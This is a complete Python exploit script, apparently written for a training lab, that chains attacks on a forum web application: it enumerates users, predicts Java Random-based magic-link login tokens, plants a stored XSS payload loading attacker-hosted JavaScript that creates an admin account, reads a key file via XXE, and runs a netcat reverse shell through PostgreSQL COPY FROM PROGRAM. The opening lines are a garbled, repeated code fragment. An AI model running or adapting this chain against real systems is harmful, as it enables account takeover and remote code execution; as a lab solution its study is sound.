{end}") # Generate candidate tokens tokens = generate_tokens(start, end, 42) user_id = users_by_name.get(user) if not user_id: return None magic_tokens = build_magic_tokens(tokens, user_id) if check_tokens(session, magic_tokens): if login(session, user): return session return None"> {end}") # Generate candidate tokens tokens = generate_tokens(start, end, 42) user_id = users_by_name.get(user) if not user_id: return None magic_tokens = build_magic_tokens(tokens, user_id) if check_tokens(session, magic_tokens): if login(session, user): return session return None"> {end}") # Generate candidate tokens tokens = generate_tokens(start, end, 42) user_id = users_by_name.get(user) if not user_id: return None magic_tokens = build_magic_tokens(tokens, user_id) if check_tokens(session, magic_tokens): if login(session, user): return session return None">
def bruteforce_login(user):
    session = requests.Session()

    t0 = time.time_ns() // 1_000_000

    # Trigger magic link generation
    res = session.post(
        f"{BASE}/generateMagicLink",
        data={"username": user},
        allow_redirects=False
    )

    # Approximate Java time seed window        
    t1 = time.time_ns() // 1_000_000
    server_time = get_server_epoch_ms(res)

    rtt = t1 - t0
    estimated_seed_time = server_time - (rtt // 2)

    window = 2000
    start = estimated_seed_time - window
    end = estimated_seed_time + window

    print(f"[*] Seed window: {start} -> {end}")

    # Generate candidate tokens
    tokens = generate_tokens(start, end, 42)

    user_id = users_by_name.get(user)
    if not user_id:
        return None

    magic_tokens = build_magic_tokens(tokens, user_id)

    if check_tokens(session, magic_tokens):
        if login(session, user):
            return session
    
    return None
import time
import requests
import base64
import http.cookies
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import http.server
import threading
import random
import urllib.parse
import re

class JavaRandom:
    def __init__(self, seed):
        self.seed = (seed ^ 0x5DEECE66D) & ((1 << 48) - 1)
        self.multiplier = 0x5DEECE66D
        self.addend = 0xB
        self.mask = (1 << 48) - 1

    def next(self, bits):
        self.seed = (self.seed * self.multiplier + self.addend) & self.mask
        return (self.seed >> (48 - bits))

    def next_int(self, bound):
        if (bound & -bound) == bound:
            return (bound * self.next(31)) >> 31
        bits = self.next(31)
        val = bits % bound
        while bits - val + (bound - 1) < 0:
            bits = self.next(31)
            val = bits % bound
        return val

def findModerator(url):
    i = 1
    moderators = []
    r = requests.Session()
    moderatorsUid = []
    while i < float('inf'):
        a = str(i)
        newUrl = url + '/profile/' + a
        x = r.get(newUrl, allow_redirects=False)
        if x.status_code < 400 and x.status_code >= 300:
            break
        elif "<div>Moderator</div>" in x.text:
            soup = BeautifulSoup(x.text, 'html.parser')
            usernames = soup.find_all('div', class_='title')
            for username in usernames:
                username = username.h2.text # -> choose text from HTML tag
                if "admin" in username:
                    pass
                else:
                    moderators.append(username)
                    moderatorsUid.append(i)
        i += 1
    uid = i - 1
    j = 0
    uidCount = len(moderatorsUid)
    moderatorsWithUid = []
    while j < uidCount:
        moderators = ','.join(str(x) for x in moderators)
        moderators = moderators.replace('<h2>','').replace('</h2>','').split(',')
        new = moderators[j] + '-' + str(moderatorsUid[j])
        moderatorsWithUid.append(new)
        j += 1
    #.split(',')
    print(f"Number of users: {uid}")
    print(f"Moderators with UID {moderatorsWithUid}")
    return moderatorsWithUid,moderators,uidCount

def timeExec(url,moderator):
    newUrl = url + '/generateMagicLink'
    myobj = {'username': f'{moderator}'}
    start = round(time.time() * 1000 - 300)
    x = s.post(newUrl, data = myobj, allow_redirects=False)
    end = round(time.time() * 1000 + 300)
    print(f"Reset password sent for {moderator}")
    return start,end,moderator

def getModeratorUID(moderatorsWithUid,moderator):
    for modWithUID in moderatorsWithUid:
        if moderator in modWithUID:
            uid = modWithUID.replace(f'{moderator}-','')
            break
    return uid,moderator

def token1(start,end,length,charset):
    tokens = []
    while start < end:
        random = JavaRandom(start)
        i = 0
        token = []
        while i < length:
            index = random.next_int(len(charset))
            token.append(charset[index])
            i += 1
        token = ''.join(token)
        tokens.append(token)
        start += 1
    return tokens

def token2(tokens):
    allAscii = []
    numIndex = (len(tokens) - 1)
    i = 0
    while i <= numIndex:
        theAscii = []
        for everyChar in tokens[i]:
            theAscii.append(ord(everyChar))
        #theAscii = ''.join(str(x) for x in theAscii) -> use to convert list to string
        allAscii.append(str(theAscii))
        i += 1
    return allAscii

def xorToken(allAscii, uid):
    asciiIndex = (len(allAscii) - 1)
    i = 0
    allXors = []
    while i <= asciiIndex:
        #print(f"listingAscii not as list {allAscii[i]}") # returns [35, 67, 85, 70, 119, 108, 74], but i want ['35','67...]
        listingAscii = allAscii[i].replace("[", "").replace("]", "").replace(" ", "").split(",") # string to list using replacement in case if your list is like the oe above
        lengthOfListingAscii = len(listingAscii) - 1
        j = 0
        xor = []
        while j <= lengthOfListingAscii:
            xorNum = listingAscii[j]
            xoring = int(xorNum) ^ uid
            xor.append(xoring)
            j += 1
        allXors.append(str(xor))
        i += 1
    return asciiIndex,allXors

def xorToBase64(allXors):
    xorIndex = (len(allXors) - 1)
    i = 0
    basedXors = []
    while i <= xorIndex:
        listingXor = allXors[i].replace("[", "").replace("]", "").replace(" ", "").split(",")
        res = "" 
        for val in listingXor:
            res = res + chr(int(val))
        sample_string_bytes = res.encode("ascii")
        base64_bytes = base64.urlsafe_b64encode(sample_string_bytes)
        basedXor = base64_bytes.decode("ascii").rstrip("=")
        basedXors.append(basedXor)
        #basedXor = base64.urlsafe_b64encode(sample_string_bytes).decode('ascii').rstrip("=") -> oneliner from base64_bytes to basedXor
        i += 1
    with open(output_file, 'a', encoding='utf-8') as f:
        f.write(str(basedXors))
    return basedXors

def whichFuckinToken(eachXor,url):
    newUrl = url + '/magicLink/' + eachXor
    x = s.get(newUrl, allow_redirects=False)
    if 'Set-Cookie' in x.headers:
        global cookies
        cookies = []
        cookies.append(x.headers['Set-Cookie'])
        print(f"Cookie: {cookies} and token {eachXor}")

def multiThreadTokenCheck(basedXors,url):
    with ThreadPoolExecutor(max_workers=20) as executor:
        futures = [executor.submit(whichFuckinToken, eachXor, url) for eachXor in basedXors]
        for future in futures:
            future.result()

def login(url,moderator):
     x = s.get(url, allow_redirects=False)
     if f"Welcome {moderator}" in x.text:
         print(f"Logged in as {moderator}")
         result = "success"
         if "adminka" not in x.text:
             logout(url)
     else:
        result = "fail"
     return result

    
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    randomValue = None
    def do_GET(self):
        global randomka
        global url
        parsed_path = urllib.parse.urlparse(self.path)
        query_params = urllib.parse.parse_qs(parsed_path.query)
        cookies = []
        if 'cookie' in query_params:
            value = query_params['cookie'][0]
            cookies.append(value)
            i = 0
            while i < len(cookies):
                realCookie = urllib.parse.unquote(cookies[i]) # <- used for urldecode
                cookieName,cookieValue = realCookie.split('=') # result is liek this cookiename=cookievalue so I am splitting with = to take left and right parts saperetely
                cookies = {f'{cookieName}': f'{cookieValue}'}
                r = requests.get(f'{url}', cookies=cookies)
                if "Welcome admin" in r.text:
                    stop_server()
                i += 1
        if self.path == f'/{randomka}.js':
            self.send_response(200)
            self.send_header('Content-type', 'application/javascript')
            self.end_headers()
            CustomHTTPRequestHandler.randomValue = random.randint(100,999)
            js_content = f"""
            async function createUser() {{
                const url = '{url}/admin/users/create';
                const data = new URLSearchParams({{
                    name: 'adminka{CustomHTTPRequestHandler.randomValue}',
                    email: 'adminka{CustomHTTPRequestHandler.randomValue}@loc.loc',
                    isAdmin: 'true',
                    isMod: 'true'
                }});
            
                try {{
                    const response = await fetch(url, {{
                        method: 'POST',
                        mode: 'no-cors',
                        headers: {{
                            'Content-Type': 'application/x-www-form-urlencoded',
                            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
                            'Accept-Language': 'en-US,en;q=0.5',
                            'Accept-Encoding': 'gzip, deflate, br',
                            'Connection': 'close',
                            'Upgrade-Insecure-Requests': '1',
                        }},
                        body: data.toString(),
                    }});
            
                    const result = await response.text();
                    console.log('Response:', result);
                }} catch (error) {{
                    console.error('Error:', error);
                }}
            }}
            
            createUser();            
            """
            self.wfile.write(js_content.encode('utf-8'))
        else:
            self.send_response(404)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write(b'Resource not found')

def startServer(port):
    server_address = ('0.0.0.0', port)
    httpd = http.server.HTTPServer(server_address, CustomHTTPRequestHandler)
    print(f"Starting server on port {port} <- this is when you click Simulate in debugger lab...")
    def shutdown_server_after_delay():
        time.sleep(10)
        stop_server(httpd)
    threading.Thread(target=shutdown_server_after_delay, daemon=True).start()
    httpd.serve_forever()

def stop_server(httpd):
    httpd.shutdown()

def findAdmin(url,randomAdmin):
    i = 0
    admins = []
    r = requests.Session()
    adminsUid = []
    while i < float('inf'):
        a = str(i + 1)
        newUrl = url + '/profile/' + a
        x = r.get(newUrl, allow_redirects=False)
        if x.status_code < 400 and x.status_code >= 300:
            break
        elif f"<h2>adminka{randomAdmin}</h2>" in x.text:
            soup = BeautifulSoup(x.text, 'html.parser')
            usernames = soup.find_all('div', class_='title')
            for username in usernames:
                username = username.find('h2')
                admins.append(username)
                adminsUid.append(a)
        i += 1
    uid = i
    j = 0
    uidCount = len(adminsUid) - 1
    adminsWithUid = []
    while j <= uidCount:
        admins = ','.join(str(x) for x in admins)
        admins = admins.replace('<h2>','').replace('</h2>','').split(',')
        new = admins[j] + '-' + str(adminsUid[j])
        adminsWithUid.append(new)
        j += 1
    #.split(',')
    print(f"Number of users: {uid}")
    print(f"Admin we created with UID {adminsWithUid}")
    return adminsWithUid,admins,uidCount

def sendPayload(url, serverIP, port):
    global randomka
    newUrl = url + '/question'
    randomka = random.randint(10000,99999)
    payload = {'title' : f'hmm{randomka}', 'description' : f'a<script src=http://{serverIP}:{port}/{randomka}.js></script>em>', 'category': '1'}
    payload = urllib.parse.urlencode(payload) # <- urlencode
    headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
    x = s.post(newUrl, data=payload, allow_redirects=False, headers=headers)
    if x.status_code == 200:
        i = 0
        while i < float('inf'):
            threadUrl = url + f'/thread/{i}'
            x = s.get(threadUrl, allow_redirects=False)
            soup = BeautifulSoup(x.text, 'html.parser')
            titles = soup.find('div', class_='title')
            randomka = str(randomka)
            if x.status_code == 200:
                if f'{randomka}' in titles.h2.text:
                    realThread = i
                    newUrl = url + '/moderate/' + str(realThread)
                    payload = {'active': 'true', 'mod': 'true'}
                    x = s.post(newUrl, data=payload, allow_redirects=False, headers=headers)
                    break
            i += 1
    return realThread

def logout(url):
    out = url + '/logout'
    x = s.get(out, allow_redirects=True)

def getAdminKey(url):
    keyUrl = url + '/admin/import'
    headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
    xmldata = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY example SYSTEM "file:///home/student/adminkey.txt"> ]> <database> <users> <user> <id>5</id> <username>Carl</username> <password>&example;</password> <isAdmin>false</isAdmin> <isMod>true</isMod> <email>[email protected]</email> </user> </users> </database>'
    payload = {'preview':'true', 'xmldata':f'{xmldata}'}
    payload = urllib.parse.urlencode(payload)
    x = s.post(keyUrl, data=payload, allow_redirects=False, headers=headers)
    match = re.search(r'<password>(.*?)</password>', x.text, re.DOTALL) #parse from to and remove newlines
    key = match.group().replace('<password>', '').replace('</password>','').strip()
    return key

def blindRCE(url,key,command):
    keyUrl = url + '/admin/query'
    headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
    payload = {'adminKey': f'{key}', 'query': f"CREATE TABLE adminka{randomka}(output text);COPY adminka{randomka} FROM PROGRAM '{command}';"}
    payload = urllib.parse.urlencode(payload)
    x = s.post(keyUrl, data=payload, allow_redirects=False, headers=headers)
    if x.status_code == 200:
        match = re.search(r'<p>(.*?)</p>', x.text, re.DOTALL) #parse from to
        response = match.group().replace('<p>', '').replace('</p>','')
        print(f"Response of your command is {response}")

if __name__ == "__main__":
    print(f"Exploit by exploit.az")
    #start = 1729775854793
    #end = 1729775854795
    #uid = 7
    url = '<http://192.168.196.251>' #Input IP address of the lab
    command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.171 4444 >/tmp/f' #change it
    serverIP = '192.168.45.171' #Input IP address of your machine
    port = 8000
    randomka = None
    s = requests.Session()
    output_file = "tokens.txt"
    length = 42
    charset = "abcdefghijklmnopqrstuvwxyz" + "abcdefghijklmnopqrstuvwxyz".upper() + "1234567890" + "!@#$%^&*()"
    moderatorsWithUid,moderators,uidCount = findModerator(url)
    k = 0
    while k < uidCount:
        start,end,moderator = timeExec(url,moderators[k])
        uid,moderator = getModeratorUID(moderatorsWithUid,moderator)
        uid = int(uid)
        print(f"UID of {moderator} is {uid}")
        tokens = token1(start,end,length,charset)
        #tokens = '\\n'.join(tokens) -> use to convert list to string
        allAscii = token2(tokens)
        #allAscii = '\\n'.join(allAscii) -> just for the view, it converts [[1],[2]] into [1] \\n [2]
        asciiIndex,allXors = xorToken(allAscii, uid)
        basedXors = xorToBase64(allXors)
        multiThreadTokenCheck(basedXors, url)
        result = login(url,moderator)
        if "success" in result:
            realThread = sendPayload(url, serverIP, port)
            print(f"Number of thread I created is {realThread}")
            startServer(port)
            randomAdmin = CustomHTTPRequestHandler.randomValue
            adminsWithUid,admins,uidCount = findAdmin(url,randomAdmin)
            j = 0
            while j <= uidCount:
                start,end,admin = timeExec(url,admins[j])
                uid,admin = getModeratorUID(adminsWithUid,admin)
                uid = int(uid)
                print(f"UID of {admin} is {uid}")
                tokens = token1(start,end,length,charset)
                allAscii = token2(tokens)
                asciiIndex,allXors = xorToken(allAscii, uid)
                basedXors = xorToBase64(allXors)
                multiThreadTokenCheck(basedXors, url)
                result = login(url,admin)
                if "success" in result:
                    key = getAdminKey(url)
                    blindRCE(url,key,command)
                    j += 1
                    break
                j += 1
            break
        k += 1